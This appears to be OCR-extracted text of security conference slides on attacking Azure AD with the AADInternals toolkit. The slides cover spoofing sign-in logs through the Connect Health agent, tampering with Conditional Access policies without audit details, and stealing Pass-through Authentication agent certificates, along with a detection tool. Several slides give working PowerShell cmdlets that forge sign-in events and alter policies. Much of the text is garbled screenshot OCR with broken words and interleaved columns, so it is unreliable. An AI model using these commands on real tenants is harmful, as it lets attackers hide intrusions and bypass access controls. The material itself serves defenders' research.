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AADInternals

Admin & hacking toolkit for Azure AD & Microsoft 365

Open source:

https://github.com/gerenios/aadinternals

https://aadinternals.com/aadinternals

MITRE ATT&CK
https://attack.mitre.org/software/S0677/

Groups That Use This Software

ID Name References

G0016 APT29 [5]
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(Hybrid) Cloud Security
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Hybrid Authentication Options

|dentity federation Password-hash Pass-through Certificate Based
(ADFS) synchronization (PHS) * authentication (PTA) * Authentication (CBA)
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* Supports seamless single sign-on
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Spoofing Azure AD
Sign-ins logs



What is Azure AD Connect Health?

A robust monitoring for on-prem
Infrastructure

Helps to maintain reliable
connection to M365 & Azure AD

Supports AAD Connect and AD FS
services

https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-azure-ad-connect
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Hybrid Health agent for AD FS

Reports AD FS infrastructure health to Azure AD
Since March 2021, also log-in events sent to Azure AD!

Azure AD has multiple sign-in logs:

SigninLogs
NonlnteractiveUserSigninLogs
ServicePrincipalSigninLogs
ManagedldentitySignInLogs
ProvisioninglLogs
ADFSSigninLogs

RiskyUsers

UserRiskEvents

SigninlLogs ADFSSigninLogs

Azure AD

Secureworks
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2
3

Home

Microsoft Azure £ search resources, services, and docs (G+/) |

Contoso

o) Contoso | Sign-ins = X
Azure Active Directory
¢ + Download ~~ Export Data Settings  #4 Troubleshoot 'f_:.i' Refresh Columns Q'j Got feedback?
i Enterprise applications -
) ) Want to switch back to th sign-ins experience? Click here to leave t review. —#
W Devices ﬂ Vant fo 5 h back to the default sign experience? Click here to leave the previe
#%  App registrations
( Date : Last 24 hours ) 25 3s: UTC +? Add filters
(&} |dentity Governance
User sign-ins (interactive)  User sign-ins (non-interactive) Service principal sign-ins Managed identity sign-ins
£ Application proxy
g Licenses Date (UTC) 4 Request ID Ty User T4  Application Ty Status IP address T4 Location
B Azure AD Connect 77972021, 5:43:25 AM  9chd3331-4a36-441f... AAD Admin Azure Portal Success
&=/ Custom domain names 7/8/2021, 21740 PM 12215668-b953-40c... test Azure Portal Interrupted
& Mobility (MDM and MANM]) T/8/2021, 1:46:09 PM  4d5130d9-8ef7-4148... AAD Admin Azure Portal Success
Password reset I T/8/2021, 12:34:05 PM  f34cB81d4-671a-4d24... Nestor Wilke MNotapplicable Success 20.20.20.20 I
Il Company branding 7/8/2021, 12:30:58 PM  4b0d0087-1515-450... AAD Admin Azure Portal Success
* User settings 7/8/2021,9:13:09 AM  3b5354da-cf67-4524... AAD Admin Azure Portal Success
i Properties T/8/2021, 9:04:32 AN BaB44b1f-26b2-4877... AAD Admin Azure Portal Success
@ sccurity 2/842021 7.07:37 Ady 072fes52-34h0-4d5f ... Microsoft Partner Success
AADInternalssenti.,  Select scope m Time range : Last 24 hours &l save v~ 12 Share v Mew alert rule 1e6-48d...  AAD Admin Micrasaft Partner Success
HDFSSlghInLDg% |64-48b3... AAD Admin Azure Portal Success
| top 18 by TimeGenerated —_
| project UserPrincipallame,Id,TimeGenerated,IPAddress {35-432... Mestor Wilke Notapplicable Success 40,40,40.41 I
A ib0-4804 Azure Portal Success
- s . s b0-4594 tzure Portal Interrupted
Results  Chart [l Columns ~ (L) Display time (UTC+00:00) ~ (® ) Group columns - P
d-48cf... Mestor Wilke MNotapplicable Success 40.40.40.40 I
: . - .
Completed. Showing results from the last 24 hours. &) 00:00.4 3records ¥
323-de7. AAD Admin Azure Portal Success
TimeGenerated [UTC] | d UserPrincip ame Paddress la0-42ab... AAD Admin Azure Portal SuCcess
3
7/8/2021, 12:34:05.000 PM f34c81d4-671a-4d24-95b2-2d6c2cad0b44 nestorw@contoso.azurelabs.online 20.20.20.20
7/8/2021, 6:30:43.000 AM 220b0a01-5d25-4329-a4fe-1f02d909eet6 nestorw@contoso.azurelabs.online 40.40.40.41
7/8/2021, 6:14:45.000 AM 9ad0bda4-316d-49cf-abecs-3a74a8¢f0693 nestorw@contoso.azurelabs.online 40.40.40.40 Secureworks




Protocol detalls

----- >

Security log

Read Events

Agent

%

2 4

Azure AD

Get Service Access Token

Get Blob Upload Key

Get Event Publisher Key

Upload Events to blob storage

Send signature to events hub

+—0-0-0-6—0-0
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Service Access Token

Get Service Access Token from Azure AD:

https://sl.adhybridhealth.azure.com/oauth2/token
Body:
grant_type=client_credentials&client_secret=<client_secret>&client_id=<tenant_id>_<machine_id>

B Registry Editor
File Edit View
HealthAgent

vEC omputer MName Data

(value not set)
SBFdER,

DefaultUzerEnvironment - -

Description IMEJP Mame Data

dotnet IMEK i ab| (Default) EG_SZ (value not set)

gj-technologies METC ab] Machineldentity EC Dcf2774f-2188-4bd3-bab3-3a600374325d

Inet5tp ab| MachineName 4 SERVER Securework§

InProcLogger

Input



Get Blob Upload Key
Get Blob Upload Key from Azure AD:

https://sl.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/

monitoringpolicies/<service_id>/keys/BlobUploadKey

B Registry Editor
File Edit Wiew Favorites Help
Computer\ HKEY_LOCAL_MACHINENSOFTWARE\Microso
' HEEY_LOCAlL MACHIME
BCDOO000000
HARDWARE
SAM
SECURITY
SOFTWARE
7-Zip
Classes
Clients
DefaultUserEnvironment
Description
dotnet
gj-technologies
Google
IM Providers
Intel
Microsoft

VWADHealthAgent' Adfs

Mame

ab|(Default)

ab| AadPremium

ab| AadTokenlssuerlri

ab| ADFSCurrentFarmld

ab| AdHybridHealthServicelri

ab| AzureResourceManageripiV...
ab| AzureResourceManagerBaze...
ab| Clientld

ab| DiagnosticsConfigurationPath
ab| InsightsConfigurationPath
ab||nstallationPath

ab| MonitorConfigurationPath

ab| MoniteringLevel

ab| Rdfelri

ab|Senyiceld

Data

(walue not =et)

True
https://login.microsoftonline.com/common/
http://sts.fake.myo363.site/adfs/services/trust
https://s1.adhybridhealth.azure.com/
2014-01-01

https://management.azure.com,
cf6d7e68-f018-4ela-a7b3-126e053fb88d

C:\Program Files\Azure Ad Connect Health Adfs A...

ChProgram Files\Azure Ad Connect Health Adfs A...
Full
https://management.core.windows
50abcif3-243a-4acl-adfb-712054d

g - -



Creating fake events with AADInternals

Supported since v0.5.0

fagentInfo =

Get-AADINntHybridHealthServiceAgentInfo

"11.11.11.11"

—1$events=@(
New-AADIntHybridHealtServiceEvent -Server $agentInfo.Server -UPN NestorWl@contoso.azurelabs.online -IPAddress "22.22.22.22"
-IPAddress

New-AADIntHybridHealtServiceEvent -Server $agentInfo.Server -UPN DiegoS@contoso.azurelabs.online

)

Send-AADIntHybridHealthServiceEvents -AgentInfo $agentInfo -Events %events -Verbose|

Date : Last 24 hours Show dates as : UTC

User sign-ins (interactive) User sign-ins (non-interactive)

Date (UTC) L RequestID Ty User

/2021, 11:17:27 AM

/2021, 10:17:27 AM

Diego Siciliani NotAppli

Nestor Wilke

+7 Add filters

Service principal sign-ins

Ty  Application

J

m

-\I
=19

[a]
O

NotApplicable

Managed identity sign-ins

™ Status

w

IP address

11.11.11.11

(A A Y A T

™ Location

W

w

w

/i

Raw

pindi, Punjab, PK



Tampering with sign-in logs
Original behaviour:

Azure AD Sign-ins log Request ID was equal to event’'s UniquelD

By sending an existing Request ID as UniquelD replaced the original
event!

Current behaviour:
Request ID is always random

Export Data Settings  #4 Troubleshoot O

vitch back to the default sign-ins experience? Click here to leave the preview

Service principal sign-ins Managed identity sign-ins

Ty Application TL  Status IP address
AAD Admin Azure Portal Success 91.156.93.159

AAD Admin Azure Portal Success 091,156.93.159

Diege Siciliani Motapplicable Success 11.11.11.11



Modifying Azure AD
Conditional Access
Policies



How to access Azure AD (CA) policies

« Azure AD portal

 Three APIs:

1. https://graph.microsoft.com/v1.0/identity/
conditionalAccess/policies/

2. https://main.iam.ad.ext.azure.com/api/Policies/

3. https://graph.windows.net/<tenantid>/policies?api-
version=1.61-internal

Secureworks



POST https://graph.microsoft.com/v1.8/identity/conditionalAccess/policies
Content-type: application/json

{
Grap h A PI "displayMame": "Access to EXO requires MFA",

"state": "enabled",
"conditions": {
"clientAppTypes”: [
HTTP/1.1 288 0K "mobileAppsAndDesktopClients”,

Content-type: application/json "browser™

B
( "applications™: {
c "includeApplications”: [

"@odata.context”: "https://graph.microsoft.com/vl.8/$metadata#conditionalAccess/policies
"POeeeBR2-0000-01T1-cedd-00REERREARA"

"value™: [
{
"id": "ad8d2b4a-8d3@-4131-88b8-144c6c8d98d9",

"displayMame”: "SimplePolicyl",

"includeGroups": ["ba8e7ded-8bef-4836-baee-8ffleccs5c8ba™
"createdDateTime": null, Metadata ) P [ 1

"modifiedDateTime"; null, "locations": {

stat? : "disabled”, "includeLocations™: [

"sessionControls": null, "al1l"

“"conditions™: { 1,
“signInRiskLevels™: [], "excludeLocations":

"clientAppTypes™: [ "AllTrusted"
"all”

15 }
"platforms™: null, 1,
"locations”: null, "grantControls"”: {
"applications™: { >> T "operator": "OR",
"includeApplications": (:()r](j|t|()r]55 "builtInControls”: [
"None" “mfa”
1,
"excludeApplications”: [],
"includeUserActions": []

b

"users": {
"includeUsers™: [
"None"

1, Secureworks




Azure |IAM API

be o - Conditions

"clientRpplications™: {
"allServicePrincipals™:
"filter™: null,
"includedServicePrincipals™:
"excludedServicePrincipals™:

b

"ispllProtocolsEnabled™: false,
"isUsersGroupsV2Enabled": false,

"yersion"™: 1,

"isFallbackUsed": false,

"policyId": "b%27bl04-ael7-4b3e-blee-6f2484c5b3cT",
"policyName": "My Policy",

"applyRule": true,

"policyState™: 2,

"usePolicyState": true,

"baselineType": 0,

"createdDateTime™: "19%%2-05-20T08:35:01.3212855+00:00",
"modifiedDateTime": "2022-05-27T12:03:55.5351493+00:00"

Secureworks




"Jersion™: 1,

Azure AD Graph API ad;‘;\ta "CreatedDateTime": "1992-05-20T08:35:01.32128592",

"ModifiedDateTime": "2022-05-27T12:03:55.53514%3z2",
"State": "Enabled",
3 Y, 1 : "Conditions™: |
4 S e onps - P 7 ~ "mpplications": {
11 odata.type": "Microscoft.Director: ) T
115 "objectType": "Policy", S T _n__uae". [i:__ . .
116 "objectId": "b%27bl04-ael7-4b3e - Applications™:
11 "deletionTimestamp”: null, -
116 "displayName": "My Policy", D ]
119 "keyCredentials": [1, . ii o
10 " 1 4 e " . 1.3 = Users" . {
N 111:“3'_-'_:}?_}!13?.':11. ru' "y 14 E "Include": [{
121 policyDetail™: ["{\"Ve -
122 "policyIdentifier": null, COndItIOﬁS _< }
123 "tenantDefaultPolicy": null -
124 oo - } !
15 B }r
20 H "Controls"™: [{
21 "Control™: ["Block™]
22 - }
. 1s
24 "EnforcenallPoliciesForEas™: true,
; "IncludeOtherLegacyClientTypeForEvaluation”: true

["IDHE"]

Secureworks
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AADInternals

* Functionality to:

» Get AzureAD policies (as a standard user)

V¢

* Modify policy details (as an admin) (&

1 $policy = Get-AADIntConditionalAccessPolicies | where displayname -1ike "Block*"

2 Set-AADIntAzureADPolicyDetails -ObjectId $policy.objectId -PolicyDetail '{"Version":1,"CreatedDa

Secureworks
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AU d It L()g Audit Log Details

Activity Target(s) Modified Properties

* No modified properties shown!

Target Property Name Old Value New Value

Block Nes...

Included Updat...
Date : Last 24 hours Show dates as : Local Service : All Category : All Activit

Date J | Service Categ..Tl | Activit TJ | Status

11/17/2022, 8:14:30 PM] Core Directory Policy Update policy Success
11/17/2022, 8:08:59 PM  Core Directory Policy Update policy Success
11/17/2022, 8:05:25 PM| Conditional Access Policy Update conditional access policy Success

Audit Log Details

Activity Target(s) Modified Properties

Target Property Name Old Value New Value

Block Nesto... ConditionalAcc... {"id":"7f6acB8e5-bd21- {"id":"7t6ac8e5-bd21-4091-aedc-
4091-aedc- 0ed48e0f4db04","displayName":"Block
0e4820f4db04" "displayN NestorW","createdDateTime":"2022-11-
ame":"Block 18T00:16:19.461967+00:00","modifiedDateTime":"2
MestorW" "createdDateTi 022-11-
me":"2022-11- 18T01:05:25.3151794+00:00","state":"enabled","con

1eTNN1610 AGT1Q67 <000 difiaone™-"annlicatinne™-MincluidaAnnlicatione™:
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Abusing PTA for
DoS Attacks
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High-level PTA architecture

1. User enters credentials

2. Azure AD creates an authentication request

3. Agent passes credentials to LogonUserW (network logon)

Cloud
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PTA agent start-up process

Azure AD  Service Bus

& @

é Connect to global bootstrap endpoint

Redirect to regional endpoint
€

e Connect to regional bootstrap endpoint

Return bootstrap document
€

Establish WebSocket connection to
each signaling listener endpoint

i \ 4 1 Secureworks
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PTA authentication process

Agent n Proxy Relay Service Bus

£

Establish WebSogket connection

Auth request

4 Auth response

(@]D]YAVAVI=YA\D),
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Stealing PTA agent identity

* Since 2022
* EXxport PTA agent certificate

* Requires local admin
permissions on server
running PTA agent

* Impersonate the PTA agent

‘ Azure Active <
v Directory

(@]D]YAVAVI=YA\D),

Target organization

Cloud

On-premises

-~

Attacker

’ PTA agent
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PTAAgentDump

* https://githu

n.com/secureworks/PTAAgentDump

« Shows num

oer of active certificates per agent (>1 = |IOC)

Machine name and bootstrap not provided, getting machine name from the registry.

Machine name:

Tenant id: bb7ac94f-
PTA agent id: 3e9bf56b-8452-411c-a83c-35aeb6380446+1
Certificate: 3BBFO639A4AASEDOSCTACCAELI3C54626ACE55C85

EndpointListener
EndpointlListener
EndpointlListener
EndpointListener
EndpointListener
EndpointListener
EndpointlListener
EndpointlListener

connected:
connected:
connected:
connected:
connected:
connected:
connected:
connected:
RelaylListener connected: gl4-prod-bl3-869-sb.servicebus.
ProxylListener connected: wml-proxy-pta-EUS-BLB2P-2.cCo

S-wss

B-wWss

A-yss:
3-wWss:

7-Wss:
C-wss:
2-1Ws5;

//his-naml-wus2.servicebus.windows.net/$servicebus/websocket
//his-naml-scus2.servicebus.windows.net/$servicebus/websocket

://his-naml-wus2.servicebus.windows.net/$servicebus/websocket

//his-naml-scus2.servicebus.windows.net/$servicebus/websocket
//his-naml-eusl.servicebus.windows.net/$servicebus/websocket
f/his-naml-ncusl.servicebus.windows.net/$servicebus/websocket

:ffhis-naml-ncusl.servicebus
1-wss:

//his-naml-eusl.servicebu

ndows .net/$servicebus/websocket
indows . net/$servicebus/websocket
ows.net 289e76fb-159a-4323-8164-1149e487e8d7

tor.his.msappproxy.net

Agents dumped to agents.txt, exiting

Agent 3e9bf56b-8452-411c-a83c-35aeb38p44e8t ha5|64 active certifications “

(@]D]YAVAVI=YA\D),
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